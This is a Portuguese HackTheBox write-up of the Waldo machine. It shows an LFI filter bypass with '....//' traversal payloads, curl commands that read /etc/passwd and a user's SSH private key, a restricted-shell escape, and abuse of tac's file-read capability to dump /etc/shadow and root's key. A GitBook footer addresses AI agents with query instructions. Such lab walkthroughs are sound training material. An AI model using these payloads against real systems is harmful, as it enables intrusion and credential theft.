> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md).

# Relato da máquina Waldo no HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Waldo>" %}

{% hint style="warning" %}
**Habilidades:**

* LFI (Inclusion de Arquivo Local) - Bypass de Filtro
* Obtendo a chave privada SSH de um usuário por meio do LFI
* Saindo de um contêiner
* Bypass de Restricted Shell
* Abusando de Capabilities (cap\_dac\_read\_search+ei) (Escalada de Privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/1c89331d295281ffa20a7d90741ab0319dd2ceb8" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/e669edb69eadd2a08aa2220478189f18a42cb0b6" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.87 -oG allPorts
```

<figure><img src="/files/8f462f0779c5636d00967bbdfdcd45380fde0dbf" alt=""><figcaption></figcaption></figure>

**Scan de Versão de Portas com Nmap 22,80:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,80 10.10.10.87 -oN targeted 
```

<figure><img src="/files/c736cbd0c2b469a766362691936872fe026a62ec" alt=""><figcaption></figcaption></figure>

## Exploração da Porta 80

<figure><img src="/files/1350e695a3f6bce475bf7afae33f5ddb0745383e" alt=""><figcaption></figcaption></figure>

#### Interceptação com Burp Suite

Analisamos as consultas e identificamos uma vulnerabilidade **LFI** (Inclusion de Arquivo Local).

<figure><img src="/files/9a009f3ee79f4aa54d499f9cf6ee5a9372ccdb36" alt=""><figcaption></figcaption></figure>

### Teste básico de LFI

Tentamos acessar `/etc/passwd`:

```
../../../../etc/passwd
```

Isso não funciona.

<figure><img src="/files/21463a5864fffc4aa8c7274f18d1a586e5bc697d" alt=""><figcaption></figcaption></figure>

### Bypass de Filtro LFI

Estamos testando um bypass com

```
....//....//../....//..//....//etc/passwd
```

Esse bypass funciona, e agora podemos listar o `/etc/passwd` arquivo.

<figure><img src="/files/2c8c6469cc8159b8d3c33880d39cba326f577ed0" alt=""><figcaption></figcaption></figure>

#### Extração de Arquivo com Curl

Usamos `curl` para recuperar o arquivo pelo endpoint vulnerável:

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//etc/passwd" | jq -r '.file'
```

{% endcode %}

Encontramos o usuário **nobody**.

<figure><img src="/files/020d2151cd156d47d1b2ad5f86d2457606ed43ed" alt=""><figcaption></figcaption></figure>

### Acesso ao `.ssh` diretório de nobody

Interceptamos a requisição da página `list.html` e notamos que a variável `path` é usada para recuperar arquivos.

<figure><img src="/files/0fc23c83af5f24bfc5e4141bec7e35be032dce32" alt=""><figcaption></figcaption></figure>

Exploramos o diretório home de `nobody`:

```
....//....//../....//..//....//home/nobody/.ssh/
```

<figure><img src="/files/40555d63db9b48bfeacd52707978a1b900f39273" alt=""><figcaption></figcaption></figure>

Encontramos um `.monitor` arquivo.

#### Extração da chave privada SSH

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//home/nobody/.ssh/.monitor" | jq -r '.file'
```

{% endcode %}

Estamos recuperando uma chave privada.

<figure><img src="/files/6af083263b106a13e3ec4b1d947e34dbabdae0a7" alt=""><figcaption></figcaption></figure>

#### Conexão SSH para nobody

Conectamos com a chave recuperada:

```bash
ssh nobody@10.10.10.87 -i id_rsa
```

<figure><img src="/files/6903e6104a1005de9167f425c5595c4c4cfb479f" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="/files/467f3aee35c5104781f7968b6455fa7bd59da2b4" alt="" width="499"><figcaption></figcaption></figure>

## Pivotando para o usuário operator

Identificamos um arquivo de usuário `operador`

<figure><img src="/files/3516ea78a33e46668b59d4cd0791aee83f7b7c35" alt=""><figcaption></figcaption></figure>

Encontramos um `authorized_keys` pertencente a `monitor`.

<figure><img src="/files/0d65025a6b2768149be7979f14f5ec7d98937708" alt=""><figcaption></figcaption></figure>

#### Conexão SSH para monitor

```bash
ssh monitor@127.0.0.1 -i .monitor
```

Nos encontramos em um shell limitado (`rbash`).

<figure><img src="/files/b3956ec263224b535aaabaef364d00aead20c455" alt=""><figcaption></figcaption></figure>

### Bypass de Restricted Shell

Iniciamos uma sessão SSH especificando `bash`:

```bash
ssh monitor@127.0.0.1 -i .monitor "bash --noprofile"
```

<figure><img src="/files/97182776532a64781ea45f4d7e1ee752646ce9b5" alt=""><figcaption></figcaption></figure>

## Escalada de privilégios

### Capabilities- Tac

Listamos arquivos com capabilities específicas:

```bash
getcap -r / 2>/dev/null
```

Identificamos que **tac** tem a `cap_dac_read_search+ei` capability:

<figure><img src="/files/1f3ff3d68f9acfc0e83b0efbbaa08033745c8270" alt=""><figcaption></figcaption></figure>

#### Operação tac para ler arquivos protegidos

O `tac` comando (inverso de `cat`) nos permite reproduzir os arquivos invertendo seu conteúdo.

```bash
tac /etc/shadow
```

<figure><img src="/files/a65e912fea6a60cdc2e6cce7c9c5fbb3cc48daf9" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

**Leitura da flag root.txt**

```bash
tac /root/root.txt | tac
```

<figure><img src="/files/9c851484f831640046ff6bf78f26d65a78137945" alt="" width="545"><figcaption></figcaption></figure>

**Recuperação da chave SSH de root**

```bash
/usr/bin/tac | /root/.ssh/id_rsa | /usr/bin/tac
```

<figure><img src="/files/d5c25480eb9ba27fff49cba81296a278019cbf64" alt="" width="399"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
